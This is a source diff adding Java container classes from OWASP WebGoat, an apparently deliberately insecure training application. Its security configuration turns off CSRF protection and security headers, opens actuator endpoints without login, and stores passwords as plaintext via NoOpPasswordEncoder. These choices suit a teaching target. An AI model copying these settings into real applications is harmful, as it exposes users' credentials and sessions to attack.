+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.web.servlet.HandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+public class UserInterceptor implements HandlerInterceptor {
+
+  private Environment env = EnvironmentExposure.getEnv();
+
+  @Override
+  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
+      throws Exception {
+    // Do nothing
+    return true;
+  }
+
+  @Override
+  public void postHandle(
+      HttpServletRequest request,
+      HttpServletResponse response,
+      Object handler,
+      ModelAndView modelAndView)
+      throws Exception {
+    if (null != modelAndView) {
+      Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+      if (null != authentication) {
+        modelAndView.getModel().put("username", authentication.getName());
+      }
+      if (null != env) {
+        String githubClientId =
+            env.getProperty("spring.security.oauth2.client.registration.github.client-id");
+        if (null != githubClientId && !githubClientId.equals("dummy")) {
+          modelAndView.getModel().put("oauth", Boolean.TRUE);
+        }
+      } else {
+        modelAndView.getModel().put("oauth", Boolean.FALSE);
+      }
+    }
+  }
+
+  @Override
+  public void afterCompletion(
+      HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
+      throws Exception {
+    // Do nothing
+  }
+}

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -0,0 +1,44 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.io.File;
+import org.owasp.webgoat.container.session.LessonSession;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
+import org.springframework.boot.autoconfigure.domain.EntityScan;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.PropertySource;
+import org.springframework.context.annotation.Scope;
+import org.springframework.context.annotation.ScopedProxyMode;
+import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
+import org.springframework.web.client.RestTemplate;
+
+@Configuration
+@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
+@PropertySource("classpath:application-webgoat.properties")
+@EnableAutoConfiguration
+@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
+@EntityScan(basePackages = "org.owasp.webgoat.container")
+public class WebGoat {
+
+  @Bean(name = "pluginTargetDirectory")
+  public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
+    return new File(webgoatHome);
+  }
+
+  @Bean
+  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
+  public LessonSession userSessionData() {
+    return new LessonSession();
+  }
+
+  @Bean
+  public RestTemplate restTemplate() {
+    return new RestTemplate();
+  }
+}

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -0,0 +1,90 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.users.UserService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Primary;
+import org.springframework.security.authentication.AuthenticationManager;
+import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.crypto.password.NoOpPasswordEncoder;
+import org.springframework.security.web.SecurityFilterChain;
+
+/** Security configuration for WebGoat. */
+@Configuration
+@AllArgsConstructor
+@EnableWebSecurity
+public class WebSecurityConfig {
+
+  private final UserService userDetailsService;
+
+  @Bean
+  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
+    return http.authorizeHttpRequests(
+            auth ->
+                auth.requestMatchers(
+                        "/favicon.ico",
+                        "/css/**",
+                        "/images/**",
+                        "/js/**",
+                        "fonts/**",
+                        "/plugins/**",
+                        "/registration",
+                        "/register.mvc",
+                        "/actuator/**")
+                    .permitAll()
+                    .anyRequest()
+                    .authenticated())
+        .formLogin(
+            login ->
+                login
+                    .loginPage("/login")
+                    .defaultSuccessUrl("/welcome.mvc", true)
+                    .usernameParameter("username")
+                    .passwordParameter("password")
+                    .permitAll())
+        .oauth2Login(
+            oidc -> {
+              oidc.defaultSuccessUrl("/login-oauth.mvc");
+              oidc.loginPage("/login");
+            })
+        .logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
+        .csrf(csrf -> csrf.disable())
+        .headers(headers -> headers.disable())
+        .exceptionHandling(
+            handling ->
+                handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
+        .build();
+  }
+
+  @Autowired
+  public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
+    auth.userDetailsService(userDetailsService);
+  }
+
+  @Bean
+  @Primary
+  public UserDetailsService userDetailsServiceBean() {
+    return userDetailsService;
+  }
+
+  @Bean
+  public AuthenticationManager authenticationManager(
+      AuthenticationConfiguration authenticationConfiguration) throws Exception {
+    return authenticationConfiguration.getAuthenticationManager();
+  }
+
+  @Bean
+  public NoOpPasswordEncoder passwordEncoder() {
+    return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
+  }
+}

src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java

@@ -0,0 +1,25 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import lombok.RequiredArgsConstructor;
+import org.springframework.context.ApplicationContext;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.servlet.ModelAndView;
+
+@Controller
+@RequiredArgsConstructor
+public class WebWolfRedirect {
+
+  private final ApplicationContext applicationContext;
+
+  @GetMapping("/WebWolf")
+  public ModelAndView openWebWolf() {
+    var url = applicationContext.getEnvironment().getProperty("webwolf.url");
+
+    return new ModelAndView("redirect:" + url + "/home");
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -0,0 +1,30 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container.asciidoc;
+
+import org.springframework.beans.BeansException;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.ApplicationContextAware;
+import org.springframework.core.env.Environment;
+import org.springframework.stereotype.Component;
+
+/**
+ * Make environment available in the asciidoc code (which you cannot inject because it is handled by
+ * the framework)
+ */
+@Component
+public class EnvironmentExposure implements ApplicationContextAware {
+
+  private static ApplicationContext context;
+
+  public static Environment getEnv() {
+    return null != context ? context.getEnvironment() : null;
+  }
+
+  @Override
+  public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
+    context = applicationContext;
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -0,0 +1,31 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+public class OperatingSystemMacro extends InlineMacroProcessor {
+
+  public OperatingSystemMacro(String macroName) {
+    super(macroName);
+  }
+
+  public OperatingSystemMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public PhraseNode process(
+      StructuralNode contentNode, String target, Map<String, Object> attributes) {
+    var osName = System.getProperty("os.name");
+
+    // see
+    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+    return createPhraseNode(contentNode, "quoted", osName);
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -0,0 +1,37 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.security.core.context.SecurityContextHolder;
+
+public class UsernameMacro extends InlineMacroProcessor {
+
+  public UsernameMacro(String macroName) {
+    super(macroName);
+  }
+
+  public UsernameMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public PhraseNode process(
+      StructuralNode contentNode, String target, Map<String, Object> attributes) {
+    var auth = SecurityContextHolder.getContext().getAuthentication();
+    var username = "unknown";
+    if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
+      username = webGoatUser.getUsername();
+    }
+
+    // see
+    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+    return createPhraseNode(contentNode, "quoted", username);
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java

@@ -0,0 +1,31 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+public class WebGoatTmpDirMacro extends InlineMacroProcessor {
+
+  public WebGoatTmpDirMacro(String macroName) {
+    super(macroName);
+  }
+
+  public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public PhraseNode process(
+      StructuralNode structuralNode, String target, Map<String, Object> attributes) {
+    var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
+
+    // see
+    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+    return createPhraseNode(structuralNode, "quoted", env);
+  }
+}